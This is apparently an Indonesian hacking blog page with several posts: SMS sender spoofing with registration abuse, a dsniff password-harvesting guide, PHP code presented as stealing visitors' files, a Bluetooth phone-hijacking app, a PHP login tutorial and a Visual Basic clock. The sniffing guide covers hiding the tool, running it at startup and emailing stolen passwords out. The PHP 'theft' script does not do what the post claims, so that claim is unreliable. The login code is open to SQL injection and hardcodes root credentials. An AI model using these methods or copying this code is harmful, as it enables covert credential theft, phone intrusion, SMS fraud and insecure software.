Showing posts with label Super Junior. Show all posts
Showing posts with label Super Junior. Show all posts

Wednesday, April 13, 2011

Free fake SMS / masked SMS

Wuihh asyik neh  buat ngerjain orang atu temen deket… ehem..  apalagi klo gratisan

Owwww.. jangan heran kalo tiba2 ada sms masuk n kamu liat sender ato pengirimnya misalnya..
from ariel peterpan, kadalpunk, 222, indosat, telkomsel,   dari nomor kamu sendiri atau yang lain..
pokokna yang aneh2..

Itu bukan sms yang berasal dari negri khayangan…, Bisa jadi ada temen kamu yang mo ngerjain..
atau ada seorang yang ingin nipu kamu.

Mo ikutan bgituan ? okeeeeey… lanjuuuuuut…
Arahkan browser kamu ke http://communicator.clickatell.com/ ……
Dan silakan registrasi… Kamu bakal dapet 10 free sms yang sender/ pengirimnya dapat kamu ubah sesuka hati..

Cuman dapet free 10 sms… masih kurang ya… ?
ada trik neh klo mo dapet 10 sms lagi.. dan lagi… caranya gampang banget kok..

registrasi ulang aja lagii... dengan email dan nomor ponsel yang sama ...
kecuali user login harus berbedA dan belum pernah di registrasi atu dengan cara sebagai berikut...

silahkan mendaftar lagi dengan user dan data yang berbeda / asal2an.. :p alias palsu..
untuk dikolom registrasi no hp, silahkan isi aja dengan no hp orang lain,
atau asal2an yang jelasnya belum pernah di pakai untuk registrasi..  setelah registrasi sukses..
kamu nantinya bakal dimintai kode aktivasi yang dikirimkan melalui sms, okey..
no tujuan dimana kode aktivasi akan dikirimkan, ganti aja dengan no hp kamu..
cara registrasi dan aktivasinya sama sperti registrasi di lub-mentari.com atau m3-access.com..

Jadi klo kedit free sms kam habiiis, daftar baru aja lagi.. bereess…

http://communicator.clickatell.com  punya kelemahan di bagian registrasi,
untuk nomor tujuan dimana kode aktivasi akan dikirimkan bisa di ubah..
dan dapat berbeda dari yang sebelumnya kita input di form registrasi.. lebihnya lagi..
pengiriman kode aktivasi dapat dikirimkan ke nomor yang sebelumnya pernah sebagai penerima kode aktivasi…
jadi 1 nomor bisa menerima lebih dari 1 kode aktivasi..

Eh ternyata emang bener bisa registrasi berulan ulang dengan nomor posel dan email yang samaaaaa...

Buat yang masih penasaran coba aja nih situs lainnya: smszone.com

Hack Password Di Jaringan Lokal dengan dsniff

 

Komunikasi ethernet pada dasarnya adalah komunikasi tipe "siaran" (broadcast). Paket-paket ethernet dari mesin yang satu sebetulnya dilihat oleh setiap komputer yang tergabung dalam suatu jaringan lokal. Paket-paket ini dibuang jika alamat MAC-nya tidak cocok dengan alamat node tujuan. Nah, dengan menggunakan software-software 'network sniffer', paket-paket ethernet

(beserta isinya) yang melewati kartu ethernet tertentu tidak dibuang begitu saja, melainkan dianalisa. Banyak kegunaan sniffing, tapi di artikel ini penulis hanya membahas sniffing password dengan menggunakan program paten karangan Dug Song (www.monkey.org/~dugsong) dsniff.

dsniff aslinya adalah software Unix, dan teman-teman yang punya Linux/BSD bisa langsung ngedownload dan compile dsniff dari http://www.monkey.org/~dugsong/dsniff). Artikel ini membahas penggunaan di jaringan lokal berbasis Windows, sebab artikel ini ditujukan untuk pemula, dan mereka-mereka yang pingin memanen password tapi nggak punya akses ke Unix. Program dsniff ini punya spesialisasi menggarap password dari berbagai protokol, dan memformat hasil panenan dalam bentuk yang mudah dibaca. Protokol yang bisa ditangani oleh dsniff antara lain adalah FTP, Telnet, HTTP, POP, NNTP, IMAP, SNMP, LDAP, Rlogin, NFS, SOCKS, X11, IRC, AIM, CVS, ICQ, Napster, Citrix ICA, Symantec pcAnywhere, NAI Sniffer, Microsoft SMB,

dan Oracle SQL*Net auth info.

Penggunaan dsniff tidak begitu jauh berbeda antara versi Win32 dengan versi Unix-nya. Kelebihan yang bias dinikmati pengguna Unix saat ini adalah adanya dua program tambahan di dsniff yang membuat dsniff versi Unix lebih perkasa, mampu memanen password dari jaringan berbasis "ethernet switch" atau "active hub", jadi tidak terbatas ke jaringan "hub" saja.

Bahan-bahan/Persyaratan:

--------------------------------

LAN lokal untuk target, yang terhubung dengan menggunakan "ethernet hub" (bukan switch)

- mesin Windows 95, 98 atau ME (untuk 2000 dan XP, kamu mesti punya hak administrator di   mesin yg akan digunakan untuk memanen) yang terhubung ke LAN target

- WinPCap library, download dari http://netgroup-serv.polito.it/winpcap/install/bin/WinPcap.exe

- dsniff port to Win32, download dari   http://www.datanerds.net/~mike/binaries/dsniff-1.8-win32-static.tgz (gunakan WinZip untuk   nge-extract file-file .exe-nya)

Cara Memasak

------------------

- Install WinPcap library. Doubleclick winpcap.exe dan ikuti petunjuk di layar (tinggal pencet   "Next","Next","Finish")

- Extract file dsniff...tgz nya ke suatu directory (sebaiknya di bawah

C:\Windows atau tempat lain yang nggak terlalu mencurigakan - untuk artikel ini, anggap saja   disimpan di C:\WINDOWS\DS)

- Mulai memanen password. Dari start menu, klik "Run", ketik "command". Pindah ke direktori   tempat disimpannya dsniff ("cd \windows\ds"). dari prompt C:> tinggal ketik "dsniff".

- silakan menonton password-password milik pengguna ditampilkan di layar

Catatan:

----------

Ada kemungkinan anda harus menspesifikasikan kartu ethernet mana yang ingin disadap. Untuk melihat daftar-daftar interface yang tersedia, ketik "dsniff -D" dari prompt DOS. Anda akan melihat daftar interface yang tersedia. Jika secara default dsniff mencoba menyadap interface yang salah, gunakan "dsniff -i [ketik nama interface disini]".

Pengembangan lebih lanjut

---------------------------------

Untuk menyimpan daftar password yang terpanen ke sebuah file, tambahkan perintah "-w [namafile]" ke program dsniff. Contoh: "c:\WINDOWS\DS>dsniff -i ELNK3 -w password.db"

untuk membaca file yg dibuat dsniff, berikan perintah "-r [namafile]"

contoh: "C:\WINDOWS\DS>dsniff -r password.db"

secara opsional, jika anda ingin file hasil panen ini disimpan dalam bentuk file ASCII:

"C:\WINDOWS\DS>dsniff -r password.db > panen.txt",

panen.txt siap disajikan.

Yang lebih asyik lagi, bisa kita konfigurasikan agar usaha panen kita tetap berjalan walaupun komputer tersebut di-reboot.Caranya gampang. Mula-mula download dulu program "start minimized" (sm.exe) dari http://www.ethernal.org/List-Archives/curves-kiddies-0010/msg00029.html.

Simpan program ini di C:\WINDOWS. Kemudian kita bikin batch file yang bisa dijalankan dari command prompt. Gunakan Notepad atau "edit" untuk membuat file ini, dan sebagai isi:

@echo off

sm /hidden c:\windows\ds\dsniff.exe -w > password.db

(tambahkan perintah opsional seperti "-i ELNK3" jika perlu)

Nah, simpan file ini (sebagai "ds.bat", misalnya), dan pindahkan file ini ke folder "Startup" lewat Start menu supaya tiap kali komputer di-restart, program dsniff kita dijalankan juga, siap untuk memanen. Program "sm" diatas berfungsi menjalankan program secara tersembunyi supaya tidak mencurigakan. Tentu saja, biar lebih nggak mencurigakan lagi, rubah nama dsniff.exe ke nama lain, dan jangan lupa ngeganti perintah "dsniff" dengan nama yang baru di semua command dan batch file. Sekarang anda bisa tinggalkan komputer tersebut, dan dikemudian waktu kembali lagi untuk memeriksa sejauh mana hasil sadapan anda bekerja

(dengan perintah "dsniff -r password.db > panen.txt" lalu "notepad panen.txt").

Membuat sadapan lebh portabel

-----------------------------

Untuk membuat disket dsniff, file-file yang anda perlukan adalah: dsniff.exe

wpcap.dll (cari di C:\WINDOWS\SYSTEM atau C:\WINDOWS\SYSTEM32 untuk Win2K/XP)

wpcap.vxd packet.dll

simpan file-file ini ke disket (A:), dan tinggal dibawa disketnya ke LAN target. Penjalanan perintah masih tetap sama seperti diatas, kecuali lokasi prompt nya bukan di :\WINDOWS\DS>, melainkan di A:\>.

Jika anda butuh tantangan tambahan, gunakan perintah "at" dan program pengirim email blat.exe" untuk mengirimkan hasil panenan ke alamat e-mail anonimus anda setiap jam atau bahkan setiap 5 menit. Jangan lupa bagi-bagi hasil :).

Tambahan-tambahan

-----------------

Port dsniff-win32 juga mengandung beberapa utility ekstra, seperti mailsnarf (untuk membaca lalu lintas e-mail di jaringan lokal), urlsnarf (untuk membaca alamat-alamat website yang dikunjungi pengguna LAN sekitar anda), dan webspy (untuk menguntit jejak surfing mesin tertentu). Silaka anda coba main-main dengan utiliti-utiliti ini, penulis yakin akan ada gunanya.Harap diingat bahwa teknik diatas hanya mempan untuk LAN yang terhubung melalui "ethernet hub". Jika kebetulan LAN anda menggunakan "ethernet switch", bukan berarti nggak ada harapan. Pengguna versi Unix-nya dsniff bisa cengar-cengir, sebab paket dsniff versi Unix mengandung dua program

tambahan: arpspoof (untuk 'menipu' mesin-mesin lain agar mengirimkan paket ke mesin anda) dan macof (untuk membanjiri "switch" lokal dengan alamat-alamat MAC acak, biasanya berakibat "ethernet switch" yang ditargetkan menjadi bingung dan mengubah mode menjadi default, bertingkah laku seperti "ethernet hub").

Deteksi, Pencegahan, dan Penanggulangan

---------------------------------------

Sebagai admin, anda bisa mendeteksi kartu-kartu ethernet di LAN anda yang menjalankan dsniff (dan progarm-program sejenis dsniff) karena secara prinsip, untuk meng-capture paket-paket, interface ybs harus berada dalam mode "promiscous". Jadwalkan program-program ini untuk berjalan setiap 5 menit, dan konfigurasikan agar komputer pendeteksi mengemail anda jika ada

aktifitas-aktifitas mencurigakan. Utiliti yang bisa anda gunakan termasuk "promisc", "CPM", "ifstatus", atau yang lebih yahud lagi, utilitas buatan grup hacking Portugal The Apostols yang bernama "NePED" (http://metalab.unc.edu/pub/Linux/distributions/trinux/src/neped.c). Untuk

platform Windows, tersedia produk-produk komersil seperti LANGuard/LANSniffer atau AntiSniff dari L0pht Heavy Industry (http://www.l0pht.com/antisniff). Diantara produk-produk diatas, sebagian besar hanyalah bisa mendeteksi adanya sniffer jika dijalankan di mesin lokal. Untuk mendeteksi network secara remote, gunakan NePED atau AntiSniff.

Jika anda punya budget, beli switch ethernet yang nggak nge-default ke "hub mode" kalau di-flood alamat-alamat MAC palsu. Kalau anda nggak ngerti, harap ngambil kursus "Pengenalan TCP/IP" atau berhenti jadi admin. Juga harap ingat bahwa banyak perusahaan-perusahaan yang mengklaim menjual hub yang tak bisa disadap, tapi ternyata hanya menjual hub tipe "active huub" yang biasanya tidak bisa menghandel traffic Fast Ethernet (100 Mbps).

Cara paling handal untuk mencegah bocornya informasi sensitif lewat network adalah dengan menggunakan enkripsi. Pakailah SSH, SCP (pengganti FTP) atau SFTP, TLS (untuk memeriksa e-mail), SSL dan HTTPS (untuk transaksi web), tunelling, dll. Usahakan agar jangan sampai ada program yang mengirimkan password tanpa enkripsi melalui jaringan yang anda kelola. Juga selalu

periksa keadaan hard disk anda. Seringkali sniffer-sniffer meninggalkan jejak berupa file hasil panenan yang berukuran besar (apalagi jika LANnya sibuk).

Cara lain mengamankan network anda adalah dengan memindahkan topologi jaringan anda ke sistem token ring, _dan_ menggunakan kartu-kartu ethernet Token-Ring buatan IBM (iklan sabun colexz). Tapi tentunya metode ini tidaklah praktis bagi anda yang ingin tetap menggunakan topologi star atau hybrid.

Sumber-sumber dan referensi:

----------------------------

http://www.monkey.org/~dugsong/dsniff (pembahasan lebih mendalam tentang teknik-teknik penyadapan password, termasuk makalah dan artikel membahas sniffing di jaringan "switched")

http://www.datanerds.net/~mike/dsniff (website resminya dsniff-win32)

http://www.morehouse.org/secure/sniffaq.htm (FAQ-nya sniffing, sudah agak kadaluwarsa).

 

 

Bahaya pencurian file pada komputer client menggunakan script

Sebelum saya memperjelas isi dari pada judul ini, saya memohon agar apa yang dipraktekkan disini tidak menjadi suatu hal yang negatif buat orang lain. Kalaupun anda ingin mempraktekkannya dengan madsud jahat, segala sesuatunya bukan merupakan tanggung jawab saya.
Oke, kembali ke topik. Anda pasti tidak menduga, bila suatu ketika saya tahu apa rencana dibalik data yang Anda simpan pada komputer anda. Saya tidak perlu panggil dukun dan begadang seharian untuk menunggu bapak dukun menyelesaikan aksinya, he..he..he. Tahukah anda ?? dengan script PHP berikut ini, file-file yang ada di komputer client dapat diambil dengan mudah dan terselip di server Anda. Cukup dengan menipu korban untuk membuka situs yang sudah disisipi script ini, maka secara otomatis ia akan mengambil (upload) ke path server tujuan anda.
Berikut Scriptnya :


1. File Pertama
<?
// Script ini buat yang ngerti PHP
// Nama File : ScrCuri.php
// Fungsi : Pemproses pengiriman file ke server
$host='localhost';
$port=80;
// Ubah variabel path letak posisi upload.php
$path='/upload.php';
// Ganti variabel fileku dengan file yang ingin kamu ambil
$fileku = "c:\\\autoexec.bat";
$content_type = "text/plain"; // type mime file
// Start Header
srand((double)microtime()*1000000);
$boundary = "---------------------------".substr(md5(rand(0,32000)),0,10);
$data = "--$boundary";
$content_file = join("", file($fileku));
$data.="
Content-Disposition: form-data; name=\"fileku\"; filename=\"$fileku\"
Content-Type: $content_type
$content_file
--$boundary";
$data.="--\r\n\r\n";
$msg =
"POST $path HTTP/1.0
Content-Type: multipart/form-data; boundary=$boundary
Content-Length: ".strlen($data)."\r\n\r\n";
// End Header
$result="";
// Buka Koneksi
$f = fsockopen($host, $port);
fputs($f,$msg.$data);
// Dapatkan tanggapan + hasil
while (!feof($f))
{
$result .= fread($f,32000);
}
fclose($f);
// Cetak hasil
echo $result;
?>


2. File Kedua
<?
// Nama File : upload.php
// Fungsi : Penangkapan isi header atau request yang dikirim dan melakukan proses penyalinan file dari client

if (is_uploaded_file($fileku))
{
// Ubah variabel namasimpan sesuai path file penyimpanan yang kamu inginkan
$namasimpan="/backup_backup_backup/test/autoexec.bat"
copy($fileku, $namasimpan);
// Tampilkan hasil
echo "Oke";
}else{
echo "Gagal copy file >> '$fileku'.";
}
?>


Nah, setelah kamu menyimpan script kamu pada server/host kamu. Maka, untuk membuktikannya coba akses script scrcuri.php. Mis : http://bloganda.com/scrcuri.php , ingat!!! konfigurasi harus cocok lho... biar kamu gampang, simpan aja kedua file di root server kamu jadi, file upload.php diakses pada http://situskamu.com/upload.php. Udah ngerti??... Yap... aku harap begitu.. he..he..he. Untuk coba-coba akseslah script scrcuri.php pada lingkungan windows... apa yang terjadi??? Wowww... sebuah file autoexec.bat telah menyisip diserver kamu, alias diambil dari komputer client kamu sebagai percobaan.
Sebelum kamu merasa puas, perlu anda ketahui bahwa script diatas, belum sempurna (Makanya jangan puas dulu.... ). Mau tau kekurangannya ???.. Yeahhh... saya tau kamu juga tau iya khan???. Kita ketahui, pada file percobaan kita... hanya mampu mengambil file tertentu saja yang belum tentu ada dikomputer target. Misalkan aja file c:\tomero.gif , otomatis semua komputer belum tentu punya file kayak gitu. So, solusinya.. tambahkan aja javascript dan manipulasi dikit kedua script diatas... Tau khan.. k'lo ngga tau biarin aja buat PR dirumah atau bila perlu belajar PHP dulu yang buaaanyaaakk. Ngga bisa juga?? Jurus yang paling jitu adalah , Copy-Paste aja..." Dasar orang males...he..he..he..
Akhirnya, sekali lagi... segala sesuatu yang terdapat pada info ini, kegunaanya ada ditangan anda. Saya cuma menulis dan mengembangkan ide dengan madsud agar anda berhati-hati dengan dunia Internet walaupun terbilang asyikkk... Maafkan, jika ada kesalahan atau hal yang kurang berkenan dihati anda. Terima kasih.

Mengetahui Fitur Login/Logout Halaman Web Dengan PHP

 

Banyak sekali aplikasi di internet yang menggunakan fitur login dan logout. Fungsinya tentu saja membatasi akses terhadap layanan tertentu yang disediakan pada situs tersebut. Hanya anggota yang telah terdaftar saja yang diijinkan mengakses layanan-layanan khusus tersebut. Kali ini PCplus akan membahas bagaimana membuat aplikasi yang memiliki fitur login/logout. Yang dibahas di sini adalah halaman login dan logoutnya saja, sedangkan isi aplikasi yang terletak di dalamnya bisa Anda kembangkan sendiri.

Dalam pembuatan aplikasi ini kita membutuhkan database yang akan menyimpan data-data dari para anggota yang telah terdaftar. Buatlah database dengan MySQL sebagai berikut:

mysql> create database daftar;

mysql> create table anggota(

-> uname varchar(20),

-> pswd varchar(32));

Database tersebut terdiri dari satu tabel bernama “anggota” dan tabel tersebut memiliki 2 buah field yaitu uname untuk menyimpan user name dan pswd untuk menyimpan password. Mengapa field pswd ditentukan untuk memiliki 32 karakter? Kita akan bahas nanti.

Sekarang mula-mula kita akan buat dahulu halaman pendaftaran anggota. Skripnya diberikan pada listing 1.






Listing 1. Halaman pendaftaran

<HTML>

<HEAD>

<TITLE> Sign Up </TITLE>

</HEAD>

<BODY>

Isilah username dan password yang Anda inginkan <BR>

<PRE>

<FORM NAME="frmSignUp" METHOD="post" ACTION="process.php">

Username :

Password      : <INPUT TYPE="password" NAME="pswd">

<INPUT TYPE="submit" VALUE="Submit">

</FORM>

</BODY>

</HTML>

Simpanlah skrip ini dengan nama signup.php. Diberi nama signup.htm pun boleh karena pada kenyataannya tidak ada skrip php pada file ini. Jika dijalankan pada browser hasilnya akan nampak seperti gambar 1.

Berikutnya kita akan membuat file process.php yang akan memproses pendaftaran kita tadi. Skripnya diberikan pada listing 2.






Listing 2. Halaman proses

<HTML>

<HEAD>

<TITLE> Processing your Account </TITLE>

</HEAD>

<BODY>

<?

$uname = $_POST['uname'];

$pswd = md5($_POST['pswd']);

$host = "localhost";

$user = "root";

$pwd = "rahasia";

$db = "daftar";

$stop = 0;

$sql = "select uname from anggota";

$conn = @mysql_connect($host,$user,$pwd) or

die("Koneksi gagal : " . mysql_error());

mysql_select_db($db);

$qry = mysql_query($sql) or

die("Query salah : " . mysql_error());

while ($row = mysql_fetch_array($qry)) {

if ($uname == $row['uname']) {

echo "Username $uname was already chosen by someone else <BR>";

echo "Go back and choose another username";

$stop = 1;

break;

}

}

if ($stop==0) {

$sql = "insert into anggota values ('$uname','$pswd')";

$qry = mysql_query($sql) or

die("Query salah : "  . mysql_error());

echo "Your account is successfully created <BR>";

echo "<A HREF='login.php'> Click here </A> to login";

}

?>

</BODY>

</HTML>

Perhatikan bahwa pada baris kedua skrip php (setelah bagian <BODY>) terdapat fungsi md5. Fungsi md5 merupakan fungsi yang menghitung md5 hash dari suatu string. (Mengenai hal ini Anda dapat mendapatkan informasi lebih detil di http://www.faqs.org/rfcs/rfc1321.html). Md5 hash menghasilkan 32 karakter dalam format heksadesimal. Itulah sebabnya mengapa field pswd dibuat bertipe data karakter dengan panjang 32 karakter. Dengan md5 hash ini password Anda akan disimpan dalam bentuk yang sangat sulit ditebak.

Pada skrip ini mula-mula diperiksa apakah username yang dipilih telah ada di dalam database. Jika telah ada, maka php akan memberikan peringatan bahwa username tersebut telah ada dan Anda dipersilakan membuat username baru. Jika belum ada, maka informasi username dan password Anda akan didaftarkan ke dalam database dan Anda akan diberitahu bahwa account Anda telah dibuat. Bandingkan dengan gambar 2 dan gambar 3.

Setelah proses sign up berhasil, kini kita akan membuat halaman untuk login. Skripnya diberikan pada listing 3.






Listing 3. Halaman login

<HTML>

<HEAD>

<a class="zem_slink" href="http://en.wikipedia.org/wiki/Login" title="Login" rel="wikipedia">Login</a>

</HEAD>

<BODY>

Registered user log in:

<PRE>

<FORM NAME="frmLogIn" METHOD="post" ACTION="main.php">

Username     : <INPUT TYPE="text" NAME="uname">

Password      : <INPUT TYPE="password" NAME="pswd">

<INPUT TYPE="submit" VALUE="Submit">

</FORM>

</PRE>

New user please register

<A HREF="signup.php"> here </A>

</BODY>

</HTML>

Simpanlah file ini dengan nama login.php atau login.htm. Jika dijalankan pada browser hasilnya akan nampak seperti gambar 4. Skrip ini akan diolah pada file main.php. Nah, skrip dari file main.php itu sendiri diberikan pada listing 4.






Listing 4. Pengolah login

<HTML>

<HEAD>

<TITLE> Main Page </TITLE>

</HEAD>

<BODY>

<?

$uname = $_POST['uname'];

$pswd = md5($_POST['pswd']);

$host = "localhost";

$user = "root";

$pwd = "rahasia";

$db = "daftar";

$stop = 0;

$sql = "select * from anggota where uname='$uname'";

$conn = @mysql_connect($host,$user,$pwd) or

die("Koneksi gagal : " . mysql_error());

mysql_select_db($db);

$qry = mysql_query($sql) or

die("Query salah : " . mysql_error());

$num = mysql_num_rows($qry);

$row = mysql_fetch_array($qry);

if ($num==0) {

echo "Username not found <BR>";

echo "Go back and try another username";

} else {

if ($pswd!=$row['pswd']) {

echo "Your password is incorrect <BR>";

echo "Go back and type the correct password";

} else {

echo "You are successfully logged in";

}

}

?>

</BODY>

</HTML>

Pada prinsipnya skrip main.php ini mengolah data-data dari halaman login. Langkah pertama yang dilakukan tentu saja adalah koneksi ke database. Setelah itu mencocokkan username yang ada di database, jika tidak cocok Anda diminta memasukkan username kembali. Jika username cocok dengan record yang ada pada database, diperiksa passwornya. Jika passwordnya cocok, maka Anda akan dapat login, jika tidak Anda diminta untuk mengisi password yang tepat. Mudah bukan?

Namun sebenarnya skrip tersebut di atas belumlah selesai. Mengapa? Sebab skrip seperti di atas (sekalipun telah diberi “pagar” di sana-sini) tetap mudah ditembus oleh siapapun, bahkan Anda tidak perlu belajar menjadi hacker untuk dapat menembusnya.

Contoh mudah, isilah form login dengan data yang ada pada database Anda. Dengan sendirinya Anda akan login dan masuk ke halaman main.php yang bertuliskan “You are successfully logged in”. Sekarang tekan tombol “back” browser Anda, lalu setelah Anda tiba kembali ke halaman login, tekan tombol “forward”. Apa yang terjadi? Ya, Anda akan kembali masuk ke halaman main.php dan login dengan sukses. Itu artinya jika Anda lalai dan meninggalkan komputer Anda, orang lain dengan mudah akan masuk menggunakan account Anda.

Lalu bagaimana solusinya? Salah satu caranya adalah dengan menambahkan session ke dalam aplikasi tersebut. Dengan memeriksa apakah suatu variabel session pernah didaftarkan atau belum, maka aplikasi tersebut menjadi lebih aman. Dengan menggunakan solusi ini, fitur login/logout pada aplikasi kita akan terpecah menjadi lima file yang diberikan pada listing 5 hingga listing 9.






Listing 5. File login.php

<HTML>

<HEAD>

<TITLE> Login </TITLE>

</HEAD>

<BODY>

Registered user log in: <BR>

<PRE>

<FORM NAME="frmLogIn" METHOD="post" ACTION="cekpswd.php">

Username     : <INPUT TYPE="text" NAME="uname">

Password      : <INPUT TYPE="password" NAME="pswd">

<INPUT TYPE="submit" VALUE="Submit">

</FORM>

</PRE>

New user please register

<A HREF="signup.php"> here </A>

</BODY>

</HTML>

File login.php tersebut hanyalah form login biasa seperti gambar 4. Parameter ACTION dari tag <FORM> diisi dengan cekpswd.php, karena isian dari form ini akan diperiksa oleh file cekpswd.php.






Listing 6. File cekpswd.php

<?

session_start();

$uname = $_POST['uname'];

$pswd = md5($_POST['pswd']);

$host = "localhost";

$user = "root";

$pwd = "rahasia";

$db = "daftar";

$sql = "select * from anggota where uname='$uname'";

$conn = @mysql_connect($host,$user,$pwd) or

die("Koneksi gagal : " . mysql_error());

mysql_select_db($db);

$qry = mysql_query($sql) or

die("Query salah : " . mysql_error());

$num = mysql_num_rows($qry);

$row = mysql_fetch_array($qry);

if ($num==0 OR $pswd!=$row['pswd']) {

header("Location: sorry.php");

} else {

$_SESSION['login']=1;

header("Location: main.php");

}

?>

File cekpasswd.php digunakan untuk memeriksa username dan password yang dimasukkan pada file login.php. Pada file ini mulai diinisiasi sebuah session. Langkah selanjutnya adalah mencocokkan username dan password dengan record yang terdapat pada database. Jika username dan password itu tidak cocok – bisa usernamenya tidak terdaftar atau passwordnya yang salah – maka skrip tersebut akan mengarahkan langkahnya menuju ke file sorry.php, tapi jika benar maka arahnya akan menuju ke file main.php dan sebuah variabel session diinisiasi. (Pada skrip kita variabel tersebut diberi nama $_SESSION[‘login’]). Yang berfungsi sebagai “pengatur arah” adalah fungsi header(). Fungsi header() akan memberikan output berupa HTTP header yang harus diberikan sebelum ada tag HTML apapun. Itu sebabnya file cekpswd.php hanya terdiri dari skrip php saja dan tidak memiliki tag HTML. (Kalaupun toh ada, itu harus dibawah skrip php yang mengeluarkan HTTP header). Untuk informasi lebih lanjut mengenai HTTP header Anda dapat mengunjungi http://www.w3.org/Protocols/rfc2616/rfc2616. Yang jelas fungsi header() pada skrip kita di atas digunakan untuk redirection, yaitu mengarahkan browser untuk memanggil URL lain. Oleh karena output file cekpswd.php hanya HTTP header saja, maka file ini tidak memiliki “penampakan fisik” pada browser.






Listing 7. File main.php

<?

session_start();

if(!isset($_SESSION['login'])) {

include("login.php");

} else {

?>

<HTML>

<HEAD>

<TITLE> Main Page </TITLE>

</HEAD>

<BODY>

You are successfully logged in <BR>

You can access this application <BR> <BR>

<A HREF="logout.php"> Log Out </A>

</BODY>

</HTML>

<?

}

?>

File main.php adalah file yang akan dipanggil apabila username dan password yang dimasukkan pada halaman login.php berhasil melewati “satpam” cekpswd.php. Lihat gambar 5. File inilah yang nantinya bisa dikembangkan untuk menyusun aplikasi-aplikasi web yang diperuntukkan bagi mereka yang login. Sebelumnya pada bagian awal dari file ini diperiksa terlebih dahulu apakah variabel $_SESSION[‘login’] sudah pernah diinisiasi dengan fungsi isset(). Seandainya belum, itu artinya user yang mengakses halaman main.php belum login. Jika demikian, maka orang tersebut akan “diangkut” menuju ke halaman login.php untuk login terlebih dahulu. Apakah mungkin user yang belum login dapat langsung menuju ke halaman main.php? Mungkin saja apabila ia langsung mengetikkan “http://bla..bla..bla/main.php” di bagian address browser. Oleh karena itu harus diberi “satpam” agar user tersebut tidak main selonong saja.

Jika seandainya aplikasi Anda terdiri dari beberapa halaman, maka pada prinsipnya setiap halaman harus diberi skrip sebagai berikut:

<?

session_start();

if(!isset($_SESSION['login'])) {

include("login.php");

} else {

?>

Di bawah skrip ini baru diberikan tag-tag HTML atau skrip PHP lain yang menyusun aplikasi. Dengan demikian setiap halaman selalu memeriksa apakah variabel session $_SESSION['login'] telah diinisiasi. Jika belum, maka redirection akan beraksi dan “menendang” user untuk kembali ke halaman login.php.






Listing 8. File sorry.php

<HTML>

<HEAD>

<TITLE> Sorry </TITLE>

</HEAD>

<BODY>

Your user name or password is incorrect <BR>

Sorry, you are not allowed to access this page

</BODY>

</HTML>

File ini akan muncul apabila user salah memasukkan username atau password pada halaman login. Lihat gambar 6. User tersebut dapat mengklik tombol back di browser untuk kembali ke halaman login dan memasukkan username dan password yang benar.






Listing 9. File logout.php

<?

session_start();

unset($_SESSION['login']);

session_destroy();

header("Location: login.php");

?>

File ini digunakan untuk melakukan proses logout. Pada file ini variabel $_SESSION['login'] dihilangkan sekaligus bersama dengan sessionnya. Langkah selanjutnya adalah mengarahkan aplikasi ke halaman login.php. Setelah session dihilangkan, maka user harus login lagi untuk dapat mengakses aplikasi tersebut.

Pada dasarnya fungsi header() tidak harus mengarahkan aplikasi ke file login.php. Bisa saja Anda membuat sebuah file lain yang bernama goodbye.php misalnya yang isinya adalah ucapan perpisahan.

Nah, selamat belajar mengembangkan aplikasi dengan menggunakan fitur login/logout.

Membuat Jam Digital Dengan Visual Basic

Program untuk membuat jam digital dengan Visual Basic merupakan program yang relatif sederhana. Hanya diperlukan sebuah form dan beberapa baris pemrograman saja.

Desainlah form seperti terlihat pada gambar 1. Kontrol timer dapat diletakkan di mana saja karena tidak akan terlihat pada saat runtime. Kemudian beberapa kontrol yang ada harus diubah nilai propertinya sesuai dengan tabel berikut:








































KontrolPropertiNilai
FormBorderStyle1 – Fixed Single
CaptionJam Digital
TextBoxNameTxtJam
Text[kosong]
Command ButtonNameCmdExit
CaptionE&xit
TimerInterval1000

Tambahkan kode program ke dalam form tersebut seperti diberikan pada listing 1. Pada prinsipnya, pada saat form di load, teks pada txtJam harus menunjukkan waktu saat itu yang diberikan oleh objek Time. Kemudian setiap interval yang ditentukan pada kontrol Timer, teks pada txtJam juga diupdate sesuai dengan waktu saat itu.

Hasil eksekusi program tersebut terlihat pada gambar 2.






Listing 3. Membuat Jam Digital

Private Sub cmdExit_Click()

End

End Sub

Private Sub Form_Load()

txtJam.Text = Time

End Sub

Private Sub Timer1_Timer()

txtJam.Text = Time

End Sub

Nah, sederhana, bukan?

Selamat Mencoba………………

Wednesday, April 6, 2011

bluetooth buat isengin temen

ingin berbagi sedikit niii!
maaf buat sebelum nya bila para master telah denger atau ngetes tools ni,
ku si nue bie hanya ingin share sedikit buat ilangin suntuk yang melandah jiwa ini..


penat Banged Hari inii...
tanpa banyak omong langsung ja ku bagi ke teman2 sekalian, barang lama tampilan baru... hehehe



super bluetooth hacking
a. Berbasis J2ME, itu artinya kalo mau melakukan kegiatan hacking, aku ga perlu lagi bawa2 laptop... cukup dengan mengintallnya kedalam mobile phone saja..
b. Support diberbagai jenis handphone, yang penting support dengan bahasa java
c. Aplikasinya berukuran kecil.. ringan... dan user friendly
d. No Pairing and No Approvement Code, (artinya bahwa Anda bisa melakukan kegiatan hacking ke bluetooth target tanpa harus mengenalkan bluetooth secara resmi... dan tanpa harus meminta approv,ent dari pemilik Bluetooth)

Remote Fitur yang di sediakan :
. Dapat membaca semua sms yang terdapat didalam inbox handphone
. Dapat membaca isi phonebook
. Dapat mengganti2 profile
. Dapat membunyikan ring tone ketika handphone dalam kondisi silent
. Dapat menjalankan music player
. Dapat merestart dan mematikan handphone (just : switch off)
. Dapat melakukan "Change Factory Setting"
. Dapat memainkan volume ring tone handphone.

klik(super blouetooth 1.07.jar)


Bagaimana menjalankan aplikasi tersebut ???
a. Copykan saja file *.jar kedalam HandPhone Anda.... terserah lu mau pake cara meng-copy nya... bisa pake kabel data... atau mempergunakan bluetooth.
b. Setelah semua file sudah kedalam HandPhone.. disana pasti ada 1 file ekeskuasi dengan nama file "Super Bluetooth Hacking"
c. Pilihlah bacaan tersebut... dan klik "OK"
d. Kemudian akan muncul perintah "Install"... pilih dan setujui... tunggu saja sampai selesai....
e. Biasanya jika proses install sudah selesai... aplikasi akan tertanam di menu berbasis java (masing2 hp berbeda penempatan)
f. Eksekusilah file "Super Bluetooth Hacking" dengan membukanya (Open).
g. Tunggu beberapa saat... dan akan muncul beberapa menu diantaranya : Connect, Setting, About dan Exit
h. Pilihlah Connect ---> Inquiry Devices. silahkan cari blutooth sasaran.. nikmati isi handphonenya....